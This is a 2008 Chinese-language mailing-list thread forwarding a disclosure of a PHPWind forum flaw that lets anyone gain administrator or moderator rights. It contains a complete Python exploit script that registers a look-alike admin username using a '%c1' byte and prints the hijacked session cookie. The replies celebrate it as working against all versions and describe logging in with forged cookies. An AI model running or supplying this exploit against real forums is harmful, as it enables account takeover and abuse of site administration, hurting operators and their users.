朋友能给个DEMO来不。 2008/6/2 raystyle <[EMAIL PROTECTED]>:
> 测试了，通杀。 > > 6.3版本以下，自己改COOKIE登陆吧，太爽了。 > > > 在08-6-1，baicker <[EMAIL PROTECTED]> 写道： > >> %c1 ? 行不行啊？ >> >> 2008/5/31 est <[EMAIL PROTECTED]>: >> >>> http://www.80sec.com/release/phpwind-exploit.txt >>> >>> 漏洞发布：http://www.80sec.com/ >>> >>> [EMAIL PROTECTED] >>> >>> 漏洞厂商： http://www.phpwind.com/ >>> PHPWind 论坛系统 是一套采用 php+mysql 数据库 方式运行并可生成 html >>> 页面的全新且完善的强大系统。因具有非凡的访问 >>> 速度和卓越的负载能力而深受国内外朋友的喜爱。 >>> 本漏洞影响phpwind所有版本 >>> >>> 漏洞危害：高 >>> >>> 漏洞说明：phpwind是国内使用非常广泛的一款程序，由于在程序设计上存在错误，导致任何人可以取得前台管理员及斑主权限，做删除帖子等任意操作 >>> >>> 利用方式：http://www.80sec.com有提供exploit >>> >>> 漏洞分析：由于phpwind论坛在设计上对数据库存储机制不了解，导致在程序逻辑上判断有问题，用精心构造的数据注册用户即可获得管理权限 >>> >>> 漏洞修补：建议关闭注册功能等待官方出补丁 >>> >>> 漏洞状态：08.5.25发现此漏洞 >>> 08.6.1由80sec.com <http://08.6.1%e7%94%b180sec.com/>公开此漏洞 >>> 暂无补丁 >>> >>> 漏洞测试： >>> >>> [code] >>> # -*- coding: gb2312 -*- >>> import urllib2,httplib,sys >>> httplib.HTTPConnection.debuglevel = 1 >>> cookies = urllib2.HTTPCookieProcessor() >>> opener = urllib2.build_opener(cookies) >>> >>> >>> def banner(): >>> print "" >>> print "########################################################" >>> print "Phpwind所有版本管理权限泄露漏洞利用poc" >>> print "Copyright (C) 2006" >>> print "[EMAIL PROTECTED]" >>> print "80sec是一个新的致力于web安全的小团体" >>> print "http://www.80sec.com"; >>> >>> def usage(): >>> banner() >>> print "Usage:\n" >>> print " $ ./phpwind.py pwforumurl usertoattack\n" >>> print " pwforumurl 目标论坛地址如http://www.80sec.com/"; >>> print " usertoattack 目标拥有权限的斑竹或管理员" >>> print " 攻击结果将会在目标论坛注册一个和目标用户一样的帐户" >>> print " 最新版本可以使用uid登陆" >>> print " 其他版本可以使用cookie+useragent登陆" >>> print "########################################################" >>> print "" >>> >>> >>> argvs=sys.argv >>> usage() >>> >>> >>> data = "regname=%s >>> %s1&[EMAIL PROTECTED]&[EMAIL PROTECTED]&[EMAIL PROTECTED] >>> ®emailtoall=1&step=2" >>> % (argvs[2],"%c1") >>> pwurl = "%s/register.php" % argvs[1] >>> >>> request = urllib2.Request( >>> url = pwurl , >>> headers = {'Content-Type' : 'application/x-www-form- >>> urlencoded','User-Agent': '80sec owned this'}, >>> data = data) >>> >>> f=opener.open(request) >>> headers=f.headers.dict >>> cookie=headers["set-cookie"] >>> try: >>> if cookie.index('winduser'): >>> print "Exploit Success!" >>> print "Login with uid password @80sec or Cookie:" >>> print cookie >>> print "User-agent: 80sec owned this" >>> except: >>> print "Error! http://www.80sec.com"; >>> print "Connect root#80sec.com" >>> [/code] >>> >>> >>> >>> >>> >> >> >> -- >> BLOG: http://www.blogjava.net/baicker >> >> > > > > -- Smile, And Remain Smile ..... My Blog : http://hi.baidu.com/sunco_overdraw --~--~---------~--~----~------------~-------~--~----~ 要向邮件组发送邮件，请发到 [email protected] 要退订此邮件，请发邮件至 [EMAIL PROTECTED] -~----------~----~----~----~------~----~------~--~---
